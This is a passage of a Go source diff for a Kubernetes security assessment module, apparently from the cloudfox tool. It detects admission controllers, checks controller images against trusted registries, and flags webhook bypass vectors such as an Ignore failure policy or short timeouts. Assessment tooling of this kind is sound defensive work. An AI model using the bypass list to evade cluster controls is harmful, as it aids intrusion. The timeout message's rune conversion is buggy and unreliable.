Mode string // "enforce", "audit", "dry-run"
|
||||
}
|
||||
|
||||
// CRDFinding represents a detected CRD
|
||||
type CRDFinding struct {
|
||||
Name string
|
||||
Group string
|
||||
Version string
|
||||
Scope string // "Cluster", "Namespaced"
|
||||
Engine string
|
||||
}
|
||||
|
||||
// RiskAssessment provides a summary risk assessment for an admission category
|
||||
type RiskAssessment struct {
|
||||
Category EngineCategory
|
||||
OverallRisk string // "HIGH", "MEDIUM", "LOW", "NONE"
|
||||
ControllersFound int
|
||||
WebhooksFound int
|
||||
PoliciesFound int
|
||||
CRDsFound int
|
||||
CoveragePercent float64
|
||||
Issues []RiskIssue
|
||||
Recommendations []string
|
||||
}
|
||||
|
||||
// RiskIssue represents a specific security issue found
|
||||
type RiskIssue struct {
|
||||
Severity string // "HIGH", "MEDIUM", "LOW"
|
||||
Category string // e.g., "configuration", "coverage", "bypass"
|
||||
Description string
|
||||
Remediation string
|
||||
}
|
||||
|
||||
// NewBaseFinding creates a new base finding with default values
|
||||
func NewBaseFinding(namespace string, category EngineCategory) BaseFinding {
|
||||
return BaseFinding{
|
||||
Namespace: namespace,
|
||||
Category: category,
|
||||
Status: "not_found",
|
||||
RiskLevel: "HIGH",
|
||||
}
|
||||
}
|
||||
|
||||
// SetActive marks a finding as active with the given details
|
||||
func (f *BaseFinding) SetActive(engineID, engineName string, running, total int, verified bool) {
|
||||
f.EngineID = engineID
|
||||
f.EngineName = engineName
|
||||
f.PodsRunning = running
|
||||
f.TotalPods = total
|
||||
f.ImageVerified = verified
|
||||
|
||||
if running >= total && total > 0 {
|
||||
f.Status = "active"
|
||||
} else if running > 0 {
|
||||
f.Status = "degraded"
|
||||
} else {
|
||||
f.Status = "not_found"
|
||||
}
|
||||
|
||||
if verified {
|
||||
f.Confidence = "high"
|
||||
} else {
|
||||
f.Confidence = "medium"
|
||||
}
|
||||
}
|
||||
|
||||
// AddSecurityIssue adds a security issue to the finding
|
||||
func (f *BaseFinding) AddSecurityIssue(issue string) {
|
||||
f.SecurityIssues = append(f.SecurityIssues, issue)
|
||||
}
|
||||
|
||||
// AddBypassVector adds a bypass vector to the finding
|
||||
func (f *BaseFinding) AddBypassVector(vector string) {
|
||||
f.BypassVectors = append(f.BypassVectors, vector)
|
||||
}
|
||||
|
||||
// CalculateRiskLevel calculates the risk level based on current state
|
||||
func (f *BaseFinding) CalculateRiskLevel() {
|
||||
score := 0
|
||||
|
||||
// Not found or degraded increases risk
|
||||
if f.Status == "not_found" {
|
||||
score += 3
|
||||
} else if f.Status == "degraded" {
|
||||
score += 2
|
||||
}
|
||||
|
||||
// Unverified images increase risk
|
||||
if f.Status == "active" && !f.ImageVerified {
|
||||
score += 1
|
||||
}
|
||||
|
||||
// Security issues increase risk
|
||||
score += len(f.SecurityIssues)
|
||||
|
||||
// Bypass vectors increase risk
|
||||
score += len(f.BypassVectors) * 2
|
||||
|
||||
if score >= 4 {
|
||||
f.RiskLevel = "HIGH"
|
||||
} else if score >= 2 {
|
||||
f.RiskLevel = "MEDIUM"
|
||||
} else if score >= 1 {
|
||||
f.RiskLevel = "LOW"
|
||||
} else {
|
||||
f.RiskLevel = "NONE"
|
||||
}
|
||||
}
|
||||
|
||||
// NamespaceSummary provides a summary of admission status for a namespace
|
||||
type NamespaceSummary struct {
|
||||
Namespace string
|
||||
ImageAdmission string // "enforced", "partial", "none"
|
||||
PodAdmission string
|
||||
NetworkAdmission string
|
||||
SecretAdmission string
|
||||
RuntimeMonitoring string
|
||||
MeshSecurity string
|
||||
OverallRisk string
|
||||
ActiveControllers []string
|
||||
MissingControllers []string
|
||||
}
|
||||
|
||||
// ClusterSummary provides a summary of admission status for the entire cluster
|
||||
type ClusterSummary struct {
|
||||
TotalNamespaces int
|
||||
CoveredNamespaces int
|
||||
ImageAdmissionActive bool
|
||||
PodAdmissionActive bool
|
||||
NetworkPoliciesExist bool
|
||||
RuntimeMonitoring bool
|
||||
MeshActive bool
|
||||
Findings []BaseFinding
|
||||
BypassVectors []BypassVector
|
||||
OverallRisk string
|
||||
}
|
||||
|
||||
// CalculateClusterRisk calculates overall cluster risk level
|
||||
func (s *ClusterSummary) CalculateClusterRisk() {
|
||||
score := 0
|
||||
|
||||
// Major systems not active
|
||||
if !s.ImageAdmissionActive {
|
||||
score += 2
|
||||
}
|
||||
if !s.PodAdmissionActive {
|
||||
score += 2
|
||||
}
|
||||
if !s.NetworkPoliciesExist {
|
||||
score += 1
|
||||
}
|
||||
if !s.RuntimeMonitoring {
|
||||
score += 1
|
||||
}
|
||||
|
||||
// Low coverage
|
||||
if s.TotalNamespaces > 0 {
|
||||
coverage := float64(s.CoveredNamespaces) / float64(s.TotalNamespaces)
|
||||
if coverage < 0.5 {
|
||||
score += 2
|
||||
} else if coverage < 0.8 {
|
||||
score += 1
|
||||
}
|
||||
}
|
||||
|
||||
// Bypass vectors
|
||||
score += len(s.BypassVectors)
|
||||
|
||||
if score >= 5 {
|
||||
s.OverallRisk = "HIGH"
|
||||
} else if score >= 3 {
|
||||
s.OverallRisk = "MEDIUM"
|
||||
} else if score >= 1 {
|
||||
s.OverallRisk = "LOW"
|
||||
} else {
|
||||
s.OverallRisk = "NONE"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,168 @@
|
||||
package admission
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
)
|
||||
|
||||
// Global engine registry singleton for all admission modules
|
||||
var globalRegistry = NewEngineRegistry()
|
||||
|
||||
// GetRegistry returns the global admission engine registry
|
||||
func GetRegistry() *EngineRegistry {
|
||||
return globalRegistry
|
||||
}
|
||||
|
||||
// VerifyControllerImage checks if an image matches a known controller
|
||||
func VerifyControllerImage(image string, engineID string) bool {
|
||||
verifier := NewImageVerifier(globalRegistry)
|
||||
result := verifier.VerifyImageForEngine(image, engineID)
|
||||
return result.Matched
|
||||
}
|
||||
|
||||
// VerifyControllerImageAny checks if an image matches any known controller in a category
|
||||
func VerifyControllerImageAny(image string, category EngineCategory) (string, bool) {
|
||||
verifier := NewImageVerifier(globalRegistry)
|
||||
result := verifier.VerifyImage(image)
|
||||
if result.Matched && result.Category == category {
|
||||
return result.EngineID, true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// GetEngineByID returns an engine by its ID
|
||||
func GetEngineByID(engineID string) *Engine {
|
||||
return globalRegistry.GetEngine(engineID)
|
||||
}
|
||||
|
||||
// GetEnginesByCategory returns all engines in a category
|
||||
func GetEnginesByCategory(category EngineCategory) []*Engine {
|
||||
return globalRegistry.GetEnginesByCategory(category)
|
||||
}
|
||||
|
||||
// VerifyPodsRunning checks if controller pods are running and verifies images
|
||||
func VerifyPodsRunning(ctx context.Context, clientset kubernetes.Interface, namespaces []string, labelSelector string, engineID string) (podsRunning bool, runningNamespace string, imageVerified bool, runningCount int, totalCount int) {
|
||||
for _, ns := range namespaces {
|
||||
opts := metav1.ListOptions{}
|
||||
if labelSelector != "" {
|
||||
opts.LabelSelector = labelSelector
|
||||
}
|
||||
pods, err := clientset.CoreV1().Pods(ns).List(ctx, opts)
|
||||
if err != nil || len(pods.Items) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
totalCount = len(pods.Items)
|
||||
for _, pod := range pods.Items {
|
||||
if pod.Status.Phase == "Running" {
|
||||
runningCount++
|
||||
for _, container := range pod.Spec.Containers {
|
||||
if VerifyControllerImage(container.Image, engineID) {
|
||||
imageVerified = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if runningCount > 0 {
|
||||
return true, ns, imageVerified, runningCount, totalCount
|
||||
}
|
||||
}
|
||||
return false, "", false, 0, 0
|
||||
}
|
||||
|
||||
// DetectControllerByDeployment detects a controller by deployment name pattern
|
||||
func DetectControllerByDeployment(ctx context.Context, clientset kubernetes.Interface, engineID string) (*DetectionResult, error) {
|
||||
detector := NewControllerDetector(globalRegistry)
|
||||
return detector.DetectControllerByEngine(ctx, clientset, engineID)
|
||||
}
|
||||
|
||||
// DetectControllersByCategory detects all controllers in a category
|
||||
func DetectControllersByCategory(ctx context.Context, clientset kubernetes.Interface, category EngineCategory) ([]DetectionResult, error) {
|
||||
detector := NewControllerDetector(globalRegistry)
|
||||
return detector.DetectControllers(ctx, clientset, category)
|
||||
}
|
||||
|
||||
// AnalyzeWebhooksByCategory analyzes webhooks for a category
|
||||
func AnalyzeWebhooksByCategory(ctx context.Context, clientset kubernetes.Interface, category EngineCategory) ([]WebhookInfo, error) {
|
||||
analyzer := NewWebhookAnalyzer(globalRegistry)
|
||||
return analyzer.AnalyzeWebhooks(ctx, clientset, category)
|
||||
}
|
||||
|
||||
// AnalyzeWebhooksByEngine analyzes webhooks for a specific engine
|
||||
func AnalyzeWebhooksByEngine(ctx context.Context, clientset kubernetes.Interface, engineID string) ([]WebhookInfo, error) {
|
||||
analyzer := NewWebhookAnalyzer(globalRegistry)
|
||||
return analyzer.AnalyzeWebhookByEngine(ctx, clientset, engineID)
|
||||
}
|
||||
|
||||
// MatchesEngineWebhook checks if a webhook name matches an engine's patterns
|
||||
func MatchesEngineWebhook(webhookName string, engineID string) bool {
|
||||
engine := globalRegistry.GetEngine(engineID)
|
||||
if engine == nil {
|
||||
return false
|
||||
}
|
||||
return engine.MatchWebhookName(webhookName)
|
||||
}
|
||||
|
||||
// MatchesEngineDeployment checks if a deployment name matches an engine's patterns
|
||||
func MatchesEngineDeployment(deploymentName string, engineID string) bool {
|
||||
engine := globalRegistry.GetEngine(engineID)
|
||||
if engine == nil {
|
||||
return false
|
||||
}
|
||||
return engine.MatchDeploymentName(deploymentName)
|
||||
}
|
||||
|
||||
// IsExpectedNamespace checks if a namespace is expected for an engine
|
||||
func IsExpectedNamespace(namespace string, engineID string) bool {
|
||||
engine := globalRegistry.GetEngine(engineID)
|
||||
if engine == nil {
|
||||
return false
|
||||
}
|
||||
return engine.IsExpectedNamespace(namespace)
|
||||
}
|
||||
|
||||
// GetExpectedNamespaces returns expected namespaces for an engine
|
||||
func GetExpectedNamespaces(engineID string) []string {
|
||||
engine := globalRegistry.GetEngine(engineID)
|
||||
if engine == nil {
|
||||
return nil
|
||||
}
|
||||
return engine.ExpectedNamespaces
|
||||
}
|
||||
|
||||
// GetEngineLabelSelectors returns label selectors for an engine
|
||||
func GetEngineLabelSelectors(engineID string) []string {
|
||||
engine := globalRegistry.GetEngine(engineID)
|
||||
if engine == nil {
|
||||
return nil
|
||||
}
|
||||
return engine.LabelSelectors
|
||||
}
|
||||
|
||||
// GetEngineCRDGroups returns CRD groups for an engine
|
||||
func GetEngineCRDGroups(engineID string) []string {
|
||||
engine := globalRegistry.GetEngine(engineID)
|
||||
if engine == nil {
|
||||
return nil
|
||||
}
|
||||
return engine.CRDGroups
|
||||
}
|
||||
|
||||
// VerifyImageFromTrustedRegistry checks if image is from a trusted registry for the engine
|
||||
func VerifyImageFromTrustedRegistry(image string, engineID string) bool {
|
||||
engine := globalRegistry.GetEngine(engineID)
|
||||
if engine == nil {
|
||||
return false
|
||||
}
|
||||
imageLower := strings.ToLower(image)
|
||||
for _, registry := range engine.TrustedRegistries {
|
||||
if strings.HasPrefix(imageLower, strings.ToLower(registry)) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,243 @@
|
||||
package admission
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ImageVerifier provides centralized image verification for admission modules
|
||||
type ImageVerifier struct {
|
||||
registry *EngineRegistry
|
||||
}
|
||||
|
||||
// NewImageVerifier creates a new ImageVerifier with the given registry
|
||||
func NewImageVerifier(registry *EngineRegistry) *ImageVerifier {
|
||||
return &ImageVerifier{
|
||||
registry: registry,
|
||||
}
|
||||
}
|
||||
|
||||
// ImageVerificationResult contains detailed results from image verification
|
||||
type ImageVerificationResult struct {
|
||||
Matched bool
|
||||
EngineID string
|
||||
EngineName string
|
||||
Category EngineCategory
|
||||
FromTrusted bool // Image was from a trusted registry
|
||||
MatchedImage string // The image that matched
|
||||
Confidence string // "high", "medium", "low"
|
||||
}
|
||||
|
||||
// VerifyImage checks if an image belongs to a known engine
|
||||
func (v *ImageVerifier) VerifyImage(image string) ImageVerificationResult {
|
||||
result := ImageVerificationResult{
|
||||
MatchedImage: image,
|
||||
}
|
||||
|
||||
imageLower := strings.ToLower(image)
|
||||
|
||||
for id, engine := range v.registry.engines {
|
||||
// Check if image is from a trusted registry
|
||||
fromTrusted := false
|
||||
for _, registry := range engine.TrustedRegistries {
|
||||
if strings.HasPrefix(imageLower, strings.ToLower(registry)) {
|
||||
fromTrusted = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// Build and check image regexes
|
||||
if len(engine.imageRegexes) == 0 && len(engine.ImagePatterns) > 0 {
|
||||
engine.buildImageRegexes()
|
||||
}
|
||||
|
||||
for _, regex := range engine.imageRegexes {
|
||||
if regex.MatchString(imageLower) {
|
||||
result.Matched = true
|
||||
result.EngineID = id
|
||||
result.EngineName = engine.Name
|
||||
result.Category = engine.Category
|
||||
result.FromTrusted = fromTrusted
|
||||
|
||||
// Determine confidence
|
||||
if fromTrusted {
|
||||
result.Confidence = "high"
|
||||
} else {
|
||||
result.Confidence = "medium"
|
||||
}
|
||||
return result
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// VerifyImageForEngine checks if an image matches a specific engine
|
||||
func (v *ImageVerifier) VerifyImageForEngine(image string, engineID string) ImageVerificationResult {
|
||||
result := ImageVerificationResult{
|
||||
MatchedImage: image,
|
||||
}
|
||||
|
||||
engine := v.registry.GetEngine(engineID)
|
||||
if engine == nil {
|
||||
return result
|
||||
}
|
||||
|
||||
imageLower := strings.ToLower(image)
|
||||
|
||||
// Check if image is from a trusted registry
|
||||
for _, registry := range engine.TrustedRegistries {
|
||||
if strings.HasPrefix(imageLower, strings.ToLower(registry)) {
|
||||
result.FromTrusted = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// Build and check image regexes
|
||||
if len(engine.imageRegexes) == 0 && len(engine.ImagePatterns) > 0 {
|
||||
engine.buildImageRegexes()
|
||||
}
|
||||
|
||||
for _, regex := range engine.imageRegexes {
|
||||
if regex.MatchString(imageLower) {
|
||||
result.Matched = true
|
||||
result.EngineID = engineID
|
||||
result.EngineName = engine.Name
|
||||
result.Category = engine.Category
|
||||
|
||||
if result.FromTrusted {
|
||||
result.Confidence = "high"
|
||||
} else {
|
||||
result.Confidence = "medium"
|
||||
}
|
||||
return result
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// VerifyImagesForCategory returns all images that match engines in a category
|
||||
func (v *ImageVerifier) VerifyImagesForCategory(images []string, category EngineCategory) []ImageVerificationResult {
|
||||
var results []ImageVerificationResult
|
||||
|
||||
engines := v.registry.GetEnginesByCategory(category)
|
||||
|
||||
for _, image := range images {
|
||||
imageLower := strings.ToLower(image)
|
||||
|
||||
for _, engine := range engines {
|
||||
// Check if image is from a trusted registry
|
||||
fromTrusted := false
|
||||
for _, registry := range engine.TrustedRegistries {
|
||||
if strings.HasPrefix(imageLower, strings.ToLower(registry)) {
|
||||
fromTrusted = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// Build and check image regexes
|
||||
if len(engine.imageRegexes) == 0 && len(engine.ImagePatterns) > 0 {
|
||||
engine.buildImageRegexes()
|
||||
}
|
||||
|
||||
for _, regex := range engine.imageRegexes {
|
||||
if regex.MatchString(imageLower) {
|
||||
confidence := "medium"
|
||||
if fromTrusted {
|
||||
confidence = "high"
|
||||
}
|
||||
|
||||
results = append(results, ImageVerificationResult{
|
||||
Matched: true,
|
||||
EngineID: engine.ID,
|
||||
EngineName: engine.Name,
|
||||
Category: engine.Category,
|
||||
FromTrusted: fromTrusted,
|
||||
MatchedImage: image,
|
||||
Confidence: confidence,
|
||||
})
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ExtractImageTag extracts the tag from an image reference
|
||||
func ExtractImageTag(image string) string {
|
||||
// Handle digest references (sha256:...)
|
||||
if strings.Contains(image, "@sha256:") {
|
||||
parts := strings.Split(image, "@")
|
||||
if len(parts) > 1 {
|
||||
return parts[1]
|
||||
}
|
||||
}
|
||||
|
||||
// Handle tag references
|
||||
parts := strings.Split(image, ":")
|
||||
if len(parts) > 1 {
|
||||
// Make sure we're not in the registry part (e.g., localhost:5000/image)
|
||||
lastPart := parts[len(parts)-1]
|
||||
if !strings.Contains(lastPart, "/") {
|
||||
return lastPart
|
||||
}
|
||||
}
|
||||
|
||||
return "latest"
|
||||
}
|
||||
|
||||
// ExtractImageName extracts the image name without registry and tag
|
||||
func ExtractImageName(image string) string {
|
||||
// Remove tag/digest
|
||||
image = strings.Split(image, ":")[0]
|
||||
image = strings.Split(image, "@")[0]
|
||||
|
||||
// Handle registry prefix
|
||||
parts := strings.Split(image, "/")
|
||||
if len(parts) > 1 {
|
||||
// Check if first part looks like a registry
|
||||
if strings.Contains(parts[0], ".") || strings.Contains(parts[0], ":") {
|
||||
parts = parts[1:]
|
||||
}
|
||||
}
|
||||
|
||||
return strings.Join(parts, "/")
|
||||
}
|
||||
|
||||
// IsDigestReference checks if an image reference uses a digest
|
||||
func IsDigestReference(image string) bool {
|
||||
return strings.Contains(image, "@sha256:")
|
||||
}
|
||||
|
||||
// ImagePatternMatcher provides flexible pattern matching for images
|
||||
type ImagePatternMatcher struct {
|
||||
patterns []*regexp.Regexp
|
||||
}
|
||||
|
||||
// NewImagePatternMatcher creates a matcher from a list of patterns
|
||||
func NewImagePatternMatcher(patterns []string) *ImagePatternMatcher {
|
||||
matcher := &ImagePatternMatcher{}
|
||||
for _, pattern := range patterns {
|
||||
escaped := regexp.QuoteMeta(strings.ToLower(pattern))
|
||||
regexStr := `(^|/)` + escaped + `(:|$|/)`
|
||||
if regex, err := regexp.Compile(regexStr); err == nil {
|
||||
matcher.patterns = append(matcher.patterns, regex)
|
||||
}
|
||||
}
|
||||
return matcher
|
||||
}
|
||||
|
||||
// Match checks if an image matches any pattern
|
||||
func (m *ImagePatternMatcher) Match(image string) bool {
|
||||
imageLower := strings.ToLower(image)
|
||||
for _, regex := range m.patterns {
|
||||
if regex.MatchString(imageLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,325 @@
|
||||
package admission
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
admissionregv1 "k8s.io/api/admissionregistration/v1"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
)
|
||||
|
||||
// WebhookAnalyzer provides centralized webhook detection and analysis
|
||||
type WebhookAnalyzer struct {
|
||||
registry *EngineRegistry
|
||||
}
|
||||
|
||||
// NewWebhookAnalyzer creates a new WebhookAnalyzer
|
||||
func NewWebhookAnalyzer(registry *EngineRegistry) *WebhookAnalyzer {
|
||||
return &WebhookAnalyzer{
|
||||
registry: registry,
|
||||
}
|
||||
}
|
||||
|
||||
// WebhookInfo contains detailed information about a webhook
|
||||
type WebhookInfo struct {
|
||||
Name string
|
||||
Type string // "validating" or "mutating"
|
||||
EngineID string
|
||||
EngineName string
|
||||
Category EngineCategory
|
||||
ServiceName string
|
||||
ServiceNS string
|
||||
FailurePolicy string
|
||||
MatchPolicy string
|
||||
TimeoutSeconds int32
|
||||
Rules []WebhookRule
|
||||
BypassRisk string
|
||||
RiskLevel string
|
||||
}
|
||||
|
||||
// WebhookRule represents a single rule from a webhook
|
||||
type WebhookRule struct {
|
||||
Operations []string
|
||||
APIGroups []string
|
||||
APIVersions []string
|
||||
Resources []string
|
||||
Scope string
|
||||
}
|
||||
|
||||
// AnalyzeWebhooks finds and analyzes all webhooks in the cluster
|
||||
func (w *WebhookAnalyzer) AnalyzeWebhooks(ctx context.Context, clientset kubernetes.Interface, category EngineCategory) ([]WebhookInfo, error) {
|
||||
var results []WebhookInfo
|
||||
|
||||
engines := w.registry.GetEnginesByCategory(category)
|
||||
|
||||
// Get validating webhooks
|
||||
validating, err := clientset.AdmissionregistrationV1().ValidatingWebhookConfigurations().List(ctx, metav1.ListOptions{})
|
||||
if err == nil {
|
||||
for _, vwc := range validating.Items {
|
||||
if info := w.analyzeValidatingWebhook(vwc, engines); info != nil {
|
||||
results = append(results, *info)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get mutating webhooks
|
||||
mutating, err := clientset.AdmissionregistrationV1().MutatingWebhookConfigurations().List(ctx, metav1.ListOptions{})
|
||||
if err == nil {
|
||||
for _, mwc := range mutating.Items {
|
||||
if info := w.analyzeMutatingWebhook(mwc, engines); info != nil {
|
||||
results = append(results, *info)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results, nil
|
||||
}
|
||||
|
||||
// AnalyzeWebhookByEngine finds webhooks for a specific engine
|
||||
func (w *WebhookAnalyzer) AnalyzeWebhookByEngine(ctx context.Context, clientset kubernetes.Interface, engineID string) ([]WebhookInfo, error) {
|
||||
engine := w.registry.GetEngine(engineID)
|
||||
if engine == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var results []WebhookInfo
|
||||
engines := []*Engine{engine}
|
||||
|
||||
// Get validating webhooks
|
||||
validating, err := clientset.AdmissionregistrationV1().ValidatingWebhookConfigurations().List(ctx, metav1.ListOptions{})
|
||||
if err == nil {
|
||||
for _, vwc := range validating.Items {
|
||||
if info := w.analyzeValidatingWebhook(vwc, engines); info != nil {
|
||||
results = append(results, *info)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get mutating webhooks
|
||||
mutating, err := clientset.AdmissionregistrationV1().MutatingWebhookConfigurations().List(ctx, metav1.ListOptions{})
|
||||
if err == nil {
|
||||
for _, mwc := range mutating.Items {
|
||||
if info := w.analyzeMutatingWebhook(mwc, engines); info != nil {
|
||||
results = append(results, *info)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results, nil
|
||||
}
|
||||
|
||||
func (w *WebhookAnalyzer) analyzeValidatingWebhook(vwc admissionregv1.ValidatingWebhookConfiguration, engines []*Engine) *WebhookInfo {
|
||||
for _, engine := range engines {
|
||||
if w.matchesWebhook(vwc.Name, engine) {
|
||||
info := &WebhookInfo{
|
||||
Name: vwc.Name,
|
||||
Type: "validating",
|
||||
EngineID: engine.ID,
|
||||
EngineName: engine.Name,
|
||||
Category: engine.Category,
|
||||
}
|
||||
|
||||
// Extract info from first webhook config
|
||||
if len(vwc.Webhooks) > 0 {
|
||||
wh := vwc.Webhooks[0]
|
||||
if wh.ClientConfig.Service != nil {
|
||||
info.ServiceName = wh.ClientConfig.Service.Name
|
||||
info.ServiceNS = wh.ClientConfig.Service.Namespace
|
||||
}
|
||||
if wh.FailurePolicy != nil {
|
||||
info.FailurePolicy = string(*wh.FailurePolicy)
|
||||
}
|
||||
if wh.MatchPolicy != nil {
|
||||
info.MatchPolicy = string(*wh.MatchPolicy)
|
||||
}
|
||||
if wh.TimeoutSeconds != nil {
|
||||
info.TimeoutSeconds = *wh.TimeoutSeconds
|
||||
}
|
||||
|
||||
// Extract rules
|
||||
for _, rule := range wh.Rules {
|
||||
info.Rules = append(info.Rules, WebhookRule{
|
||||
Operations: convertOperations(rule.Operations),
|
||||
APIGroups: rule.APIGroups,
|
||||
APIVersions: rule.APIVersions,
|
||||
Resources: rule.Resources,
|
||||
Scope: scopeToString(rule.Scope),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Analyze risk
|
||||
w.analyzeWebhookRisk(info)
|
||||
|
||||
return info
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *WebhookAnalyzer) analyzeMutatingWebhook(mwc admissionregv1.MutatingWebhookConfiguration, engines []*Engine) *WebhookInfo {
|
||||
for _, engine := range engines {
|
||||
if w.matchesWebhook(mwc.Name, engine) {
|
||||
info := &WebhookInfo{
|
||||
Name: mwc.Name,
|
||||
Type: "mutating",
|
||||
EngineID: engine.ID,
|
||||
EngineName: engine.Name,
|
||||
Category: engine.Category,
|
||||
}
|
||||
|
||||
// Extract info from first webhook config
|
||||
if len(mwc.Webhooks) > 0 {
|
||||
wh := mwc.Webhooks[0]
|
||||
if wh.ClientConfig.Service != nil {
|
||||
info.ServiceName = wh.ClientConfig.Service.Name
|
||||
info.ServiceNS = wh.ClientConfig.Service.Namespace
|
||||
}
|
||||
if wh.FailurePolicy != nil {
|
||||
info.FailurePolicy = string(*wh.FailurePolicy)
|
||||
}
|
||||
if wh.MatchPolicy != nil {
|
||||
info.MatchPolicy = string(*wh.MatchPolicy)
|
||||
}
|
||||
if wh.TimeoutSeconds != nil {
|
||||
info.TimeoutSeconds = *wh.TimeoutSeconds
|
||||
}
|
||||
|
||||
// Extract rules
|
||||
for _, rule := range wh.Rules {
|
||||
info.Rules = append(info.Rules, WebhookRule{
|
||||
Operations: convertOperations(rule.Operations),
|
||||
APIGroups: rule.APIGroups,
|
||||
APIVersions: rule.APIVersions,
|
||||
Resources: rule.Resources,
|
||||
Scope: scopeToString(rule.Scope),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Analyze risk
|
||||
w.analyzeWebhookRisk(info)
|
||||
|
||||
return info
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *WebhookAnalyzer) matchesWebhook(name string, engine *Engine) bool {
|
||||
nameLower := strings.ToLower(name)
|
||||
for _, pattern := range engine.WebhookPatterns {
|
||||
patternLower := strings.ToLower(pattern)
|
||||
if nameLower == patternLower || strings.Contains(nameLower, patternLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (w *WebhookAnalyzer) analyzeWebhookRisk(info *WebhookInfo) {
|
||||
var risks []string
|
||||
|
||||
// Check failure policy
|
||||
if info.FailurePolicy == "Ignore" {
|
||||
risks = append(risks, "Failure policy is Ignore - webhook can be bypassed on timeout")
|
||||
info.RiskLevel = "MEDIUM"
|
||||
}
|
||||
|
||||
// Check timeout
|
||||
if info.TimeoutSeconds > 0 && info.TimeoutSeconds < 5 {
|
||||
risks = append(risks, "Low timeout may cause bypasses under load")
|
||||
}
|
||||
|
||||
// Check for wildcard rules
|
||||
for _, rule := range info.Rules {
|
||||
for _, res := range rule.Resources {
|
||||
if res == "*" {
|
||||
risks = append(risks, "Wildcard resource matching may have performance impact")
|
||||
}
|
||||
}
|
||||
for _, grp := range rule.APIGroups {
|
||||
if grp == "*" {
|
||||
risks = append(risks, "Wildcard API group matching")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check service namespace
|
||||
if info.ServiceNS != "" && info.ServiceNS != "kube-system" {
|
||||
risks = append(risks, "Webhook service not in kube-system namespace")
|
||||
}
|
||||
|
||||
if len(risks) > 0 {
|
||||
info.BypassRisk = strings.Join(risks, "; ")
|
||||
}
|
||||
|
||||
if info.RiskLevel == "" {
|
||||
if len(risks) > 0 {
|
||||
info.RiskLevel = "LOW"
|
||||
} else {
|
||||
info.RiskLevel = "NONE"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func convertOperations(ops []admissionregv1.OperationType) []string {
|
||||
var result []string
|
||||
for _, op := range ops {
|
||||
result = append(result, string(op))
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func scopeToString(scope *admissionregv1.ScopeType) string {
|
||||
if scope == nil {
|
||||
return "*"
|
||||
}
|
||||
return string(*scope)
|
||||
}
|
||||
|
||||
// FindBypassVectors identifies potential webhook bypass vectors
|
||||
func (w *WebhookAnalyzer) FindBypassVectors(webhooks []WebhookInfo) []BypassVector {
|
||||
var vectors []BypassVector
|
||||
|
||||
// Check for missing enforcement
|
||||
webhookByEngine := make(map[string]bool)
|
||||
for _, wh := range webhooks {
|
||||
webhookByEngine[wh.EngineID] = true
|
||||
}
|
||||
|
||||
// Check for ignore failure policies
|
||||
for _, wh := range webhooks {
|
||||
if wh.FailurePolicy == "Ignore" {
|
||||
vectors = append(vectors, BypassVector{
|
||||
Type: "FailurePolicyIgnore",
|
||||
Description: "Webhook " + wh.Name + " uses Ignore failure policy",
|
||||
Severity: "MEDIUM",
|
||||
Engine: wh.EngineName,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Check for low timeouts
|
||||
for _, wh := range webhooks {
|
||||
if wh.TimeoutSeconds > 0 && wh.TimeoutSeconds < 5 {
|
||||
vectors = append(vectors, BypassVector{
|
||||
Type: "LowTimeout",
|
||||
Description: "Webhook " + wh.Name + " has low timeout (" + string(rune(wh.TimeoutSeconds)) + "s)",
|
||||
Severity: "LOW",
|
||||
Engine: wh.EngineName,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return vectors
|
||||
}
|
||||
|
||||
// BypassVector represents a potential way to bypass admission control
|
||||
type BypassVector struct {
|
||||
Type string
|
||||
Description string
|
||||
Severity string
|
||||
Engine string
|
||||
}
|
||||
@@ -0,0 +1,368 @@
|
||||
package shared
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
k8serrors "k8s.io/apimachinery/pkg/api/errors"
|
||||
)
|
||||
|
||||
// signalCtx is the process-wide signal-aware context for K8s commands.
|
||||
// Initialized lazily on first call to Context() or ContextWithCancel().
|
||||
var signalCtx context.Context
|
||||
|
||||
